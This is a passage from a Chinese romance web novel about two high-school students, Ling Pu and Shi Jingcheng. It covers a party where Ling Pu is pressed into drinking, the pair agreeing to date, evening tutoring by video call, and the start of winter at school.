“是吗。为什么。”凌蒲对于小时候的事情着实模模糊糊。 “因为你看起来很呆,不像坏人。”时璟承淡淡,“但是你忘了。” 凌蒲停顿一下:“对不起。” 时璟承低头吻了吻他。 这次又没有说没关系。 凌蒲在心里想,看来时璟承是不会原谅他了,只有让对方甩掉一次才可以完成这场报复。 正午的阳光经过深色车窗膜的吸收,光线为时璟承的侧脸线条镀上一层轻柔的光芒。 车内空调的风轻轻吹在身上,这一瞬间很美好。 要不就让时璟承甩掉吧,倒也没有什么。这样才足够公平。 时璟承这样的人,似乎天生就有权力这样做。 有了这个想法之后,凌蒲用侧脸贴在时璟承肩膀上,闭上眼睛,放松下来。 一直到下午上课,才重新回到教室。 这两天过得和之前无异,等周三下午,时璟承有事请假了最后一节课。 凌蒲课间在沉睡,没仔细听原因,但一想时间,揣度对方可能提前去小月亮的party了。 他独自学习到最后一节课,完成了晚上的作业。等到八点钟,按照小月亮的地址,前往party地点。 听着小月亮的描述以为就是个在家的小型聚会,地址也像是某栋别墅。 然而当凌蒲乘坐出租来到指定地址时,被眼前的景象一惊。 只见里面整个屋子都被布置得很有氛围,空间虽然没有时璟承家大,但是没摆什么家具,整体看起来很开阔。 当时小月亮和他说没几个人,现在一看简直是谦虚。 屋里的人基本都衣着得体,年纪挺轻,也有几个金发碧眼的外国人,是凌蒲没有来过的场合。 他默默看了一眼自己的校服,转身就想走,被白林玥拦住。 “凌蒲!” 白林玥叫住他,穿着件漂亮的裙子,化了精致的妆,美得着实像个天使。 她妥帖地安排凌蒲坐下,寒暄几句,便又去了别处,显然是宴会的主角。 凌蒲如坐针毡,感到自己有些格格不入。这和他想象中的并不一样,身边没有任何认识的人让他不自在,与众不同的衣着让他不太合群。 本能地寻找时璟承的身影,但却并没有看到人,倒是发现了正在和别人聊天的成深野。 仿佛抓到救命稻草似的,走过去。 “成深野,你知道时璟承在哪里吗?”凌蒲问他。 成深野看到他挺意外:“你怎么来了?时璟承一般不参加这种活动,我也不知道白林玥能不能请动他。” 凌蒲便摸出手机,给时璟承发消息。 但忽然身后有人拍了下他的肩膀:“你好。” 凌蒲转过头,发现也是个打扮漂亮的女孩子,裙子领口有些低,他礼貌地移开目光。 那女孩见他这样笑起来:“你为什么穿着高中校服,是什么扮演吗?” “不是,我是高中生。” “你挺有意思的。认识一下吗?我叫祝筱。” “呃,我叫凌蒲。” 祝筱拉着凌蒲来到沙发边,给他倒了杯酒。像宴会上每个人手里几乎都端着一杯一样,显然祝筱也希望凌蒲能够和她碰杯。 凌蒲摇摇头,想拒绝。 祝筱挑眉笑道:“你是不是觉得干喝没有意思,那我们来玩游戏好不好?” 她熟稔地拿过桌上的转盘和骰子,在喧嚣的音乐里招呼其他几个人一块。 凌蒲被围坐在最角落,被左右夹着,有些骑虎难下,连摸手机的动作都不敢有。 身后还放着书包,像是掉进狼群里的小羊羔,别人见他都觉得有意思,但自己却颇为不自在。 因为在场的除了白林玥圈子里的朋友,还要请一些工作人员当氛围组。其他人一眼就看出凌蒲不是圈子里的,当成随意取乐的玩具。 “骰子会吗?”有人问道,摇了摇骰盅,发出清脆的声响。 凌蒲摇摇头。 “那我们就简单点呗,玩转盘和真心话大冒险,转到谁就谁。喝一杯酒然后再回答。” 说着提出的人转了一下当示范。大家没有异议地摆上酒杯,朝里面倒酒。 看起来都挺相熟,一边倒一边聊着天:“不知道时璟承会不会来,不是白林玥的初中同学吗。” “他怎么会来这种场合,太阳要打西边出来了。” “很少在公开场合见到他,也不知道躲哪里去了。” “要我说就是之前每次宴会朝他搭讪的太多,都被吓跑了。” “简直是年轻版顾乾,甚至青出于蓝,谁不心动。” 几人谈笑之间,桌上的酒杯里也都盛上了晶莹剔透的鸡尾酒,游戏准备开始。 互相认识的人使着眼色,转盘指针总是指到凌蒲。 “我不会喝酒。”凌蒲试图拒绝。 但一句话说得所有人都笑起来:“酒有什么会不会喝的,这只是鸡尾酒,就是饮料。” 没有拒绝的余地,凌蒲只得闭着眼睛喝下去,没有想象中苦涩,确实有点像饮料。 他不愿意大冒险,每次都选真心话乱答。 动感强劲的音乐声让人有些不适,逐渐听不清别的声音。 以前哪里经历过这样的架势,丝毫不容他拒绝,一杯跟着一杯地灌。 凌蒲只得挨个接过,逐渐品尝到酒精的味道,舌尖麻又苦。 祝筱看着凌蒲发红的脸颊和水汪汪愣了神,伸出手指想碰一下,忽然被人制止。 再一转头,正是多年只能看到图片的时璟承,现在真真切切地站在众人面前。 似乎赶来的也挺匆忙,并没有宴会的装扮,但五官英俊逼人,着实是耀眼。 一桌子都淡淡沉寂,时璟承的目光看着喝醉的凌蒲,还有他周围坐着的一圈美女,脸上没什么表情。 凌蒲察觉到什么,抬头看到他,语气抱怨:“时璟承,你终于来了。” “这是我同学,我们有点事。” 时璟承看了凌蒲几秒,礼貌如常地和其他人告别,将凌蒲带出去。 不忘拎上凌蒲的书包,甩在肩膀上。 出了门之后脸色立刻冷下来,走了无人的窄路…… 凌蒲黏黏糊糊地抱着他:“你去哪了,时璟承。” 时璟承细致地用手把凌蒲的脸擦了一遍:“我该问你吧,谁让你参加这种宴会。” “我以为你在。”凌蒲把额头贴在时璟承肩膀上,整个人栽进时璟承怀里,“好晕。” 满满当当,在时璟承怀里放松下来,发顶看出挺委屈。 时璟承便没什么脾气,轻轻搂了下凌蒲的肩膀:“我忘记和白林玥说了,回家吧。” “我想喝橙汁。” “回家给你榨。” 时璟承把凌蒲接上车,让他靠着自己的肩膀。 今天下午他一直在处理家里的事,很晚才看到凌蒲的消息。 捋了把凌蒲微微汗湿的头发,他给白林玥发消息,让以后不要再叫凌蒲。 输入之后删掉,拍了拍凌蒲:“以后想玩提前和我说。我带你去。” 凌蒲哼唧一声,接收不到信号。 时璟承便暂时作罢,准备等对方醒了再说。 车子停在家门口,时璟承下车替凌蒲拉开车门。 凌蒲蹭着车座不愿意醒,叫了好几次,时璟承把他拽下来,他拒绝行走,伸出胳膊。 时璟承犹豫一下,见四下无人,把凌蒲背起来。 虽然凌蒲并没有比时璟承矮太多,但体重不算重,时璟承又经常锻炼,背得比较轻松。 凌蒲趴在时璟承背上,满意地蹭蹭时璟承的颈窝,呼吸的热气喷洒在皮肤上。 时璟承动作僵了一下,对凌蒲说:“别呼吸。” “你真过分,时璟承。”凌蒲在他耳边抱怨,这回呼吸喷在耳朵边。 身后的动静很快没有,时璟承以为凌蒲睡着了。 直到又听到耳边传来声音:“时璟承,万一我有点喜欢你,怎么办。” 第106章 凌蒲的声音很小,像是在自言自语。 时璟承沉默了一会儿,穿过院子走到家门口,告诉凌蒲:“那就在一起。” 没有得到回复,他把凌蒲放在客厅的沙发上,看到凌蒲安静的睡颜,似乎睡得特别沉。 不确定对方到底是装睡还是真睡,轻轻碰了下睫毛。 凌蒲才动了一下,睁开眼。 “今晚在哪里睡?”时璟承问他,“要回家就送你回去,要么给家里打个电话。” 说着从口袋里拿出凌蒲的手机,递给凌蒲。 凌蒲接过来,拨通钱芷的电话。 他已经说了八点要去参加一个聚会,现在左不过九点多,还没人催促他回家。 “喂,妈。”凌蒲听到钱芷的声音,换了个姿势,很放松地抱着沙发靠垫。 时璟承看着他懒洋洋的动作,举动间被蹂躏乱七八糟的衣物露出肌肤,像小时候一样白。 “我今晚不回去了,在同学家睡了。” 开始电话那头似乎不同意,但凌蒲眯着眼睛撒娇,极其自然地拖长声音多说了两句,时璟承觉得任何一个与之亲近的人都无法拒绝。 果然电话那头似乎让了步,开始叮嘱,凌蒲一连“嗯”了好几声,最终挂断电话,丢掉手机。 不忘用表情朝时璟承表示OK,翻个身抵住沙发靠背继续睡。 “你还挺自由。” 时璟承评价,他以为对于普通家长来说,夜不归宿会是个很严重的问题。 “我是谁?从小人缘就很好的好吧。”凌蒲反驳道,“以前经常去同学家写作业,或者同学来我家写作业,写着写着就睡了。” “是吗?”时璟承问。 凌蒲丝毫没察觉到其他,反而觉得时璟承不相信他,给以肯定道:“当然。” “和程益添一起睡过?” “嗯!” 时璟承看着凌蒲积极回答的样子,觉得没有必要和他置气。但想了一下,还是问:“我和他们一样吗?” 凌蒲费力地掀起眼皮,把他认真打量一番,摇头:“不一样。” 时璟承随口一问,却得到了很认真的回答,不由一愣。 这个回答好像小时候心里特别期待。从小就希望自己在凌蒲心中和别的普通朋友不一样,但总是徒劳,忽然在这时意外得到答案,有种时空重叠的恍惚感。 但还是不由地感到满意。 “我和他们一样吗?”凌蒲也问时璟承,手指轻轻抠着沙发枕头。 时璟承挑眉:“和谁?” 凌蒲又不说话了。 在以为对话又要这样无疾而终时,时璟承开口:“你和谁都不一样。” 凌蒲的愉悦从眼睛里弥漫开来,逐渐到嘴角。整个人忽然变得很有光彩,眼里亮晶晶。 时璟承觉得这个神态是凌蒲最迷人的样子,仿佛一个新鲜漂亮的水果。 他坐起来,向前粘住时璟承,脸贴在对方肩膀上:“真的吗?” 混着鸡尾酒的香气和凌蒲本身的清香,时璟承没受住蛊惑,用手指摩挲凌蒲的耳垂。 只捏了一下,起身:“喝橙汁吧。” 这个时间阿姨已经下班,时璟承翻找半天,找出榨汁机,扫码查询了步骤。 洗了几个橙子,在光滑的表面划上几刀,剥开,丢进去。 一杯层层工艺制作完成的橙汁递到凌蒲面前,他眼睛都没怎么睁,就着时璟承的手品尝一口,满意点头。 时璟承看着他大爷似的样子:“到底谁是少爷。” “你。”凌蒲不假思索。 “喝了早点睡,明早还要上课。”时璟承拧眉。 恰巧这时候手机响起,他接起来,说话风格向来简短。 “喂,白林玥。嗯,我把他接回来了。” “是的,第二天要上课。没事,下次早点告诉我。” 时璟承挂断电话。 再一回头,只见凌蒲不知什么时候完全睁开眼,看着他。 “怎么了?”时璟承问他。 凌蒲又看了他一会儿,带着水光的眼睛把时璟承从上打量到下,又从下打量到上,最后扭过脸:“时璟承,我讨厌你。” “变得也太快了。”时璟承拿条毯子给他盖上,“喜怒无常。” 凌蒲手里偷偷攥着时璟承的衣角,时璟承坐在他旁边,没有拿书也没有做别的事情,两人只是静静地待着。 氛围就很美好。 凌蒲盯着盯着,酒意的燥热上头,握着衣角的手收紧,让时璟承朝他这边倾斜过来。 已经闭上眼睛,微微撅起一点嘴唇,在这样的氛围里就该坐这样的事。 等待半天,并没有回应。 于是悄悄睁开一点,发现时璟承竟然非常冷静地看着他。 凌蒲感到尴尬,眼睛一闭,假装醉得不省人事。 等周围差不多安静,他才悄悄睁眼,对上时璟承守株待兔的目光。 “凌蒲,你装睡装得一点都不像。” “因为我没认真装。我故意的。”被发现的凌蒲嘴硬。 “我说刚才。” “嗯?” “我说如果你有点喜欢我,我们就在一起的时候。” 空气安静下来,凌蒲的心跳开始逐渐加速,他想可能是那很多杯酒的缘故,并非像她们说的那样没有度数,而是如同之前的白葡萄酒,酒劲会后知后觉地上来。 心跳的速度逐渐不受控制,凌蒲愣愣。 迟钝的大脑竟然还能思考,但不知道此刻想的是什么。 或许是时璟承并不满足于在不清不楚的阶段甩掉他,而是非要正儿八经地,完成一场很正式的报复。 大家都说这才像是时璟承的做法。 凌蒲觉得似乎合理,他看着时璟承,内心茫然大过一切。 不过他既然都已经做好了准备,像是被什么诱惑着似的,他点了头。 “好。” “好什么?”时璟承照例多逗了他一句。 “我们在一起吧。” 凌蒲很清晰地重复了一遍,这次轮到时璟承诧异。 但他比凌蒲高明,在隐晦的几秒之后,他就继续:“我还以为你不想负责。” “想好了吗?”时璟承摸了摸凌蒲的脸,确认对方醉了多少,明早假装一切都没发生的概率又是多少。 此刻的凌蒲陷于酒精赋予他的勇气里,坚持地点点头。 “那好。” 时璟承低头吻他、 凌蒲觉得这个吻在今晚早该落下。 他抱住时璟承,被轻轻遮住眼睛,不知过了多久才被放开。 凌乱的校服堆在腰间,里面卡通t恤也被推上去一点,领口散乱。 时璟承按了按凌蒲的锁骨:“以后把我送你的挂坠一直戴着。” 语气不容置喙,凌蒲在这种时候还要反驳:“那么贵,丢了怎么办。” “丢了算我的,再送你一个。” 凌蒲把额头埋在时璟承肩膀上,今晚的思绪实在太乱:“我想睡觉了,好困。” 时璟承把他抱上楼,盖住被子。 夜色稍晚,月光悄悄洒进屋内,笼下一层柔和的薄纱。等拉上窗帘关了灯,一切都昏昏欲睡,凌蒲反而又精神了。 “时璟承。” “你还醒着?”时璟承意外。 凌蒲裹着被子,探出脑袋:“睡不着,聊聊天吧。” 时璟承被他拉着硬聊很久,总有层出不断地话题,能够推测出凌蒲之前和朋友待在一块儿过夜的时候肯定就是这么能言善辩。 即使时璟承有一搭没一搭地回应他,凌蒲也能自己絮絮叨叨,一直到彻底没了动静。 * 第二天早上,凌蒲被从床上叫醒的时候,只感到头脑沉沉。 和往常经过无损的七小时美妙睡眠之后神清气爽的感觉丝毫不同,他本能地翻过身抱住被子:“妈,再睡会儿。” 脸在被子上蹭了蹭,感觉触感有点不对,睁开眼,看着陌生的被子。 摸了摸。 一顿,某些记忆涌入,他缓缓抬起手,捂住自己的脸。 稍稍缓了会儿,既发生则安之,也不是没做过心理建设。 在心里闪过一万句小作文,最终平静地起床,换上校服,大方而自然地当着时璟承面系校服裤的绳子,似乎满不在乎。 “系成死结了。”时璟承提醒他。 “故意的。” “哦。” 早饭是阿姨昨天就准备好的三明治,只需要稍微加热一下就可以吃。 凌蒲把自己的注意力全放在咀嚼上,做到规律地吞咽再配一口牛奶,十分淡定。 “失忆了吗?”时璟承见怪不怪地问他。 凌蒲犹豫一下:“没有。” “昨天发生什么了?” “我们在一起了。”凌蒲大喇喇。 “有这事吗,我好像忘了。”时璟承拿起三明治,语气淡淡地说。 原本还假装得有模有样的凌蒲瞬间不动了,耳朵变得很红,从耳廓开始蔓延,仿佛连耳垂都带上了温度。 时璟承捻了捻手指:“模仿你的。” “时璟承,你真不是好人。” 凌蒲认为成深野说得对。 不过这么尴尬一遭之后倒是豁出去不少,背上书包准备和时璟承去上学。 “坐公交去吧,这么早。”凌蒲提议道。 “不坐。司机送。” “资本主义。”凌蒲不与之为伍,但很快暴露了真实担忧,“别吧,到时候发现我住在这。” “住在这怎么了。”时璟承瞥他一眼,“你不是经常和以前的同学住在一起。” 凌蒲认真点头:“也是。” 时璟承让凌蒲重新说。 凌蒲笑起来:“你和他们又不一样。” 又咕哝:“不过确实。昨天又什么都没发生,和他们也差不多。” 时璟承再次让他重新说。 两人正走着,还没出大门,忽然远远地从远处驶来一辆车。 院子里视野开阔,这辆富有标志性的豪华跑车有属于自己的声浪,见过一次的凌蒲都能认出来这是邵晚熠的车。 他愣了一下,眼见那车朝门口行驶,赶紧拉着时璟承朝反方向躲避,就跳到花园的椅子后面。 时璟承都没怎么反应过来,凌蒲已经老老实实蹲好,把自己藏得严丝合缝。 “小时候那洞还在,要不要埋进去。”时璟承问他。 凌蒲示意他别说话,很紧张地看着邵晚熠的动向,只见邵晚熠下了车,对着车窗捯饬了一下自己的发型,没多看就大步进了屋。 “竟然没被发现。”凌蒲劫后余生,认为自己的举措起到了必要性作用。 时璟承拍了拍袖子:“为什么不上树?” “太高了。” “哦。” 两人商量一阵,最后选择了折中方案,打一辆出租车去学校。 坐到车上,凌蒲给钱芷发送了自己已经出发上学的动向,忽然新消息跳出来。 看到程益添惯常的每日一鼓励。 【程益添:/早】 【程益添:狠狠甩掉】 凌蒲愣了一下,偏过手机,有点心虚地又回了个表情包。 【/粽:好嘞.jpg】 第107章 凌蒲一整天在学校都是懵逼状态。 可能是喝酒后遗症,可能是睡眠不足,可能是很多原因。 反正虽然人在教室,灵魂还在安眠。 好在旁边有个可靠的时璟承,课堂上下没有出太大的差错。 终于熬到放学,凌蒲打了个大大的哈欠:“好困,终于能回家睡觉了。” 他把书本和笔袋胡乱塞进书包,准备奔赴家里美好的小床。 “不行。”旁边的时璟承忽然冷酷道。 “?” 两个字打断了凌蒲的哈欠,他转过头,又飞快转回来,想到了什么,忽然略显羞涩。 也是。这是他们确定关系的第一天,有些约会活动也是应该的。 既然时璟承强烈要求,那么他可以勉强灌两罐咖啡,舍命陪君子。 不过两个字就让凌蒲浮想联翩,他拿起架势,示意时璟承可以继续说。 “今天你没怎么听课,晚上补起来。”时璟承淡淡。 凌蒲难以置信自己真的听到了这么冰冷的话语,震惊道:“你有人性吗,时璟承?” “没有。” “哦。” 凌蒲着实感到睡眼朦胧:“可是我真的很困,很困,很困。你让我睡觉吧。” “落了今天的课,明天也跟不上。恶性循环。”时璟承把没有人性贯彻到底。 “但是我一直不睡觉是不行的,身体才是革命的本钱。” “明天睡醒听不明白,拖到最后补都补不上。”时璟承告诉他,“陷入恶性循环很难停下。” “循环的主体是我,如果没有我,良性恶性都不能循环。” 振振有词的凌蒲最终赢下了这场辩论。 不过偷看一眼时璟承,一边背起书包一边让步:“我回家先睡一小时,等睡醒之后打电话给你。” 说完之后飞快地溜走,留下一个背影。 * 凌蒲定了一小时闹钟沉睡,醒来之后先洗了个澡,恢复活力。 飞快把头发吹到半干,便给时璟承拨视频电话。 一边听着响铃,一边飞快翻开书本,拿起笔,作认真学习状。 视频很快接通,凌蒲看到对面的镜头对着课本,像那种学习类主播。 而右上角他的脸占据整个屏幕,看起来有点呆。 “什么嘛。”凌蒲不满,“你为什么不露脸。” “给你补课,露脸干什么?” 时璟承的声音从手机里传来,声音很近,比直接听起来更沉一点,没有那么冰冷,比较随意。 凌蒲耳朵有点烫:“不行,主播露脸,不然不学了。” “那书怎么看?” “要不等等再看。”凌蒲抠了抠桌子,早已心猿意马,“你先和我聊聊,我们不是冰冷的听众与讲解老师的关系。” “哦。那是什么关系?” 时璟承垂眸,看着屏幕里凌蒲的表情。他觉得这个高清的视频不错,对方细微变化都能尽收眼底。 “在一起的关系。”凌蒲理直气壮地答完,又补一句,“昨晚是你先说的。” 在他的强烈要求下,时璟承翻转镜头。 凌蒲看着赏心悦目的画面,感到特别满意,仗着隔屏幕,肆无忌惮地打量时璟承。晚上灯光并不明亮,时璟承坐在他熟悉的书桌前,线条分明,五官俊朗。 相当帅。 “记得这么清楚。”时璟承对凌蒲的回答也挺满意,“让你戴的东西戴了吗?” 凌蒲才刚看到下颌线,正沉迷其中。 “凌蒲。” “嗯?” “你的玉坠呢?” 回过神的凌蒲愣愣,摸了下空荡荡的脖子。 他刚洗完澡,身上胡乱套了件宽大的t恤睡衣,露出片清爽白皙的肌肤,未干的发尾偶尔留下点水渍,在上面特别明显。 他犹豫:“现在戴吗?” “嗯,戴上。”时璟承不容置喙,嗓音有点哑。 “我很少戴饰品。”凌蒲解释道,不过还是伸手去抽屉里翻找。 “我第一天见你的时候,你戴了个银色十字架。” “那是转学的时候同学送的嘛,让我一直带着别忘了他。而且不是说学校不给戴项链,我就拿下来了。” “谁说不给。” 凌蒲回忆一下,似乎那天的纪律委员是时璟承假扮的。 “没人管。”时璟承告诉他,“很多人都戴,甚至是耳钉。” 凌蒲已经把盒子拿到了镜头里,认真打开。 一根红绳衬在黑色丝绒底座上,追着的玉熠熠生辉,并没有减去丝毫光泽。其实挂坠并不大,尤其是相较小时候记忆里的相比。 颜色漂亮,晶莹剔透,翡翠的翠绿很纯粹。 凌蒲当着时璟承的面戴上,红绳和翠玉都变得更加生动,仿佛逐渐和体温融为一体。”怎么样?“凌蒲把手机当镜子。”不错。” 时璟承的喉结动了下。 “那我就戴着好了。”凌蒲说,和时璟承分享分开的这一小时,“我今天回来睡了一整个小时。还去洗了个澡,现在清醒多了。” “头发没吹干吗?” “吹到不朝下滴水了,屋里比较暖和。” “下次记得吹干。” “好吧。时璟承,我又买了个更大的金猪储钱罐,给你看……” 两人一来一回地交谈,时间在不知不觉中飞快溜走。 等回过神,天色已晚。 “开始讲题了。”时璟承提醒。”好的。“凌蒲瞄了眼时间,坐直表示配合。 一天的主要课程不算太多,时璟承分门别类,讲得很清楚,而且仿佛针对凌蒲量身定做,薄弱的地方详细,擅长的部分简略。 凌蒲边听边记,收获颇丰。 “时璟承,你好厉害。”他由内心发出了感慨。 “你也很聪明。” 时璟承早就发现,凌蒲虽然不喜欢学额外的东西,但上课听得认真,作业按时完成和订正,在基础上打得很扎实。 而且他转学之前的地区偏好研究难题,因此整体情况乐观。 凌蒲被他夸得挺高兴。 照理说正事做完,电话就该挂断,但两人谁都没有进一步动作,听着彼此的呼吸声。 凌蒲拿出作业:“我们一起写作业吧,这样不会的可以讨论。” “嗯。”时璟承勉强同意。 他早就把作业在学校写完,不过也打开书本。 凌蒲写两道题就想抬头看看屏幕,但每回抬头,都发现时璟承恰好在监视他。 真可怕。 再写两题,他忍不住和时璟承搭讪:“你在看什么书呀。” “写完再说。” “无趣。”凌蒲撇撇嘴,忧伤地写作业。 奋笔疾书一阵,不会的现场就问时璟承,他成功把作业也完成。 顺理成章地和时璟承继续聊天。 姿势早就在漫长的学习中变得懒懒散散,好不讲究。 “你明天别来接我了吧,我以后自己上下学,我们要低调一点。”凌蒲提出。 想起之前时璟承说要每天来接他,那么意味着他得每天早起十分钟,还得跑来跑去打车,很麻烦。 坦白的话不再呼之欲出。除了之前的原因,凌蒲觉得时璟承连要出国这么大事都瞒着他,自己也要有点小秘密,才平等一些。 时璟承本想否决,他本意就是想让对方意识到骗他的教训。但看着屏幕里凌蒲趴在桌上,脑袋顶朝着镜头,又不由心软。 不忍心再折腾他一趟,有那时间不如多睡会。 “嗯。”时璟承答应。 凌蒲抬起头,完全没意识到自己的高兴已经写在了脸上:“时璟承,你真好。” 他重新打探道:“对了,之前说要送程益添生日礼物,我还没想好。如果你和他是很好的朋友,你会送什么?” “为什么这个名字总是出现?”时璟承拧眉,“我说我会送防晒霜。” “假设你们是不一般的朋友,而且预算可以比较高。” 凌蒲暗示。 时璟承十分不高兴:“怎么个不一般法?你可真有钱,少爷。” 凌蒲听出来对方开始阴阳怪气:“假设一下而已。比如如果你过生日,希望收到什么。” “什么都不希望收到。” “时璟承,你别不高兴。” “没有。” “小月亮每次都送你礼物。” “那是还顾乾的人情。我没有用过。” “什么意思?”凌蒲听不明白,不过他也没那么想明白,只觉得真是很难打探出时璟承喜欢什么。 于是开始扯别的,即使又感到困倦也依旧强撑,叽叽喳喳。 他们聊着天,时间又仿佛按下了加速键,直到钱芷在房门外催促凌蒲睡觉,这通超长视频才终于被打断。 凌蒲转移到被子里,想了想,问程益添。 【“/粽”拍了拍“程益添”】 现在正是程益添偷偷玩手机的时候,很快得到了回复。 【程益添:怎么了?】 【/粽:如果你生日,希望收到什么礼物?】 【程益添:今年这么早说这个?我想要之前发你的那个篮球,记得在那个链接的平台下单,可以领20优惠券】 【/粽:】 【/粽:不是给你买。】 【/粽:只是问一下你的参考意见。假如现在你是个什么都不缺的超级有钱人,你希望收到什么礼物?】 【程益添:一个私人庄园,再加一个私人飞机,或者私人游艇也行,最好喷上彩绘】 【/粽:是你有钱,不是送礼物的人有钱/流汗】 【程益添:你不会要送时璟承吧?】 凌蒲不回复了。 【程益添:/赞,演得这么逼真,不愧是你】 【/粽:我睡觉了。】 他并没有真的睡觉,而是在网上搜索,根据推荐页面点入“让男生感动到哭”的礼物。 离时璟承的生日已经很近,留给他的时间不多了。 他想这或许是他和时璟承之间度过的唯一一个生日,最好让对方永远都不会忘记 或者久一点再忘记。 第108章 白昼越来越短,夜晚越来越长,北明彻底进入了冬天。 每当小学写英语或者语文作文,题目总是会问最喜欢哪个季节。 其他小朋友总是回答夏天,因为有漫长的暑假,有美味的雪糕和冰饮料,女孩子可以穿漂亮裙子 但凌蒲喜欢冬天。 他也忘了为什么,明明冬天寒冷而干燥,衣服又重又厚,连中午的午休时间都比夏天要短,但他就是对冬天印象很好,尤其喜欢下雪天。 似乎在记忆深处有一场大雪,可以畅快地打雪仗,滑雪,堆雪人,主要是总是冷冰冰的好朋友,牵着的手却是暖的,对他很好。 凌蒲搬去的城市不怎么下雪,他描述不出。因此当年凌蒲的作文总是凑不够字数,放学被老师留下来抄写“我喜欢夏天”的范文。 但之后每一次再遇到相同题目,他还是会提笔“我喜欢冬天”,然后陷入莫名的回忆和写不完的作文。 最终小学一年级的凌蒲被罚站在走廊上,默默流泪,大颗黄豆般的泪水从弧形的脸颊流下,直到凌逸飞或者钱芷来把他领走。 从睡梦中惊醒,高中生凌蒲在温暖的被窝里睁开眼睛。 “起床了,凌蒲。要迟到了。” 窗帘已经被钱芷拉开,凌蒲一眼就看到外面的树不知什么时候已经变得完全光秃秃,不再有缱绻未落的枯叶和秋末的痕迹,北风呼呼吹。 又一个冬天正式到来了。 他看了眼时间,不得不从温暖的被窝里出来,一件一件地穿衣服,最后套上冬季厚校服,在洗漱台前等着自来水变温。 托冬天的福,他爸凌逸飞良心发现,决定每天绕点路,车接车送凌蒲。 “路上拿着喝。” 钱芷和颜悦色地递过热牛奶:“最近考试进步这么大,我们凌蒲终于知道努力了。” 凌逸飞拍拍他的肩膀:“压力别太大,尽力就好,不留遗憾。” 两人振奋地进行鼓励,但他们的儿子好像并没有这样的激情。 “好像也没有吧。” 凌蒲接过牛奶,回想一下。他并不过于关心自己的分数,一切尽人事听天命,不过可能是和时璟承做了同桌,对方总是严格要求他的学习。 来到教室,凌蒲取下帽子,手还是有点冷。 见四下无人,站到时璟承身后,把手放伸到对方帽子后面,暖了暖。 “题做了吗?”时璟承头都没回,问他。 “做了。” 凌蒲用指尖戳了戳时璟承:“第一句话就说这个?讨厌你。” 等手变得和时璟承的体温一样暖,他坐到自己的位置上,把桌上的日历翻过去一页:“时间过得好快。” “明天是冬至。” “再过几天是圣诞节。” “嗯。”时璟承应一声。 “今年冬天为什么一直没有下雪。”凌蒲看着窗外,时璟承停下笔,看他的睫毛。 “凌蒲,你最近有心事。” 凌蒲顿了下,目光转到时璟承身上。 两人虽然在一块,看似亲密无间,但这种类似的心灵沟通并不多。 凌蒲能看出时璟承的微表情,也知道对方的喜好。但他也不认为算得上很了解对方。他认为时璟承也是。 就像北冰洋里的冰山,海平面以上无所不知,海平面以下一无所知。 “没有。”凌蒲笑笑,把试卷从书包里抽出来,“我真做完了。你看。” 时璟承看了凌蒲一会儿,拿出红笔,替凌蒲批改。 “时璟承,你为什么对辅导作业这么上瘾?”凌蒲问他。 明明这是一段短暂的关系,应该维持不到高考的时候,难道这样做是出于歉疚和补偿吗。 “?”时璟承看起来很想在凌蒲脑袋上敲一下,“换个人试试,我不会给自己没事找事。” “我是你交往过的人里成绩最差的吗?” 时璟承对凌蒲的天马行空已经习惯,经常会有一些属于凌蒲的奇思妙想冒出来,想象世界很丰富。 他淡淡:“凌蒲,我没交往过多少人。” 凌蒲没信:“没事,我知道这很正常。你身边那么多帅哥美女,要真从来没有前女友前男友的才不正常。” 他作出不在乎的样子,“我不用那些花言巧语。” 时璟承终于出手,屈起指节,在凌蒲脑袋上敲了一下。 教室里的人越来越多,两人默契地停止对话。 一起度过平常的一天,再一起走出校门,就看到成深野在门口拦截住时璟承。 “时璟承,我们多久没出去一起玩了?”成深野看上去非常不爽,“白林玥好不容易回来一趟,结果你俩三天两头约不出来。她和我说了好多次,如果再” 凌蒲挺知趣地朝后退了几步,站在听不见他俩对话的距离处玩手机。 “你和她有那么熟吗?” 时璟承看着凌蒲退开的动作,感到些许烦躁。 成深野愣了下:“不是小时候一起上节目?” “这些年她联系过你?” “没。” 甚至初中在隔壁班都不一定打招呼。 “多用用脑子吧,见色什么都忘了。”时璟承淡道。 成深野不傻,当即拿出手机查了下,果然看到白林玥父母刚成立了一家公司,在试图完成从幕前到幕后的转型。 他耸耸肩:“怪不得,是找顾乾哥帮忙吧。老让我叫你,还以为她暗恋你。” “你把白林玥看扁了。” 有胆识有手段有美貌,将来一定不是一般人。从小心里就只有赢,很容易让人欣赏。但不管是友情还是什么情,在真正遇到需要权衡时大概率会是被舍弃的。 普通朋友足够,太深交就没必要。 “确实。”成深野赞同,“这样的人最厉害,没弱点。” 他琢磨:“以前我以为顾乾哥是这样的人,但那次剧组出事邵哥联系不上,我头一次看到顾乾哥飙车那么快。” 又转头望望时璟承,拉踩道:“比如她一看就不会把恩怨记个十几年。” “没事走了。” 时璟承和成深野告别,留他自己去举一反三。 伸手拍了下玩手机的凌蒲,谁知凌蒲竟然挺慌张地按了锁屏。 这和向来坦坦荡荡的作风毫不相符,时璟承拧起眉:“怎么了?” “没事。你们聊完了?” 凌蒲把手机装进口袋,方才程益添又在对他进行每日加油活动,一个OK表情包还没发出去,差点被时璟承看到。 他惊慌的神情让时璟承新奇。 “凌蒲,你出轨了?” 凌蒲没想到时璟承说出这样石破天惊的话,慌张地左右看看,赶紧把时璟承拉到隐蔽处。 “说什么呢。” “怎么,和我在一起让你感到丢人了。” 时璟承揣着口袋,立在校门口简直就是一道风景线,路过的人有意无意地回头看他一眼。 “不丢人。但你也算个公众人物吧,被发现负面新闻不好。” “我算什么公众人物。而且没觉得负面,你很正面。” 凌蒲带着时璟承走到熟悉的小街巷里,牵住时璟承的手,熟练地握住。 侧身挨上去,头发蹭着时璟承。 时璟承对他前后双标的行为不悦,刚才面对成深野后退的那一步也像个纠缠的毛线团,还没有抚平。 于是时璟承开口:“凌蒲,刚刚白林玥邀请我和她还有Brianna一起过圣诞。” 凌蒲愣了一下,还是说道:“哦。那你去吧。” 时璟承扭头看着凌蒲波澜不惊的表情: “Brianna之前给我发短信说可以试着了解对方然后交往,问我有没有女朋友。” 凌蒲不由屏住呼吸。 “我说没有。”时璟承这四个字比天气还冷。 凌蒲攥了攥手,意识到自己应该说点什么:“那挺好的。BriBrianna很漂亮,还很热情,英语说得很好,还生活在国外。” “哦。我和她交往?” 凌蒲不说话了,抿住嘴唇,放开时璟承的手。 时璟承这才停住脚步,揽住凌蒲的肩膀:“那我男朋友怎么办?” 凌蒲抬起眼,看着时璟承,不知道对方是什么意思。 “凌蒲,你这样都无动于衷,我要怀疑你到底喜不喜欢我?” 向来冷静的神情出现波动,眉目微微下压。 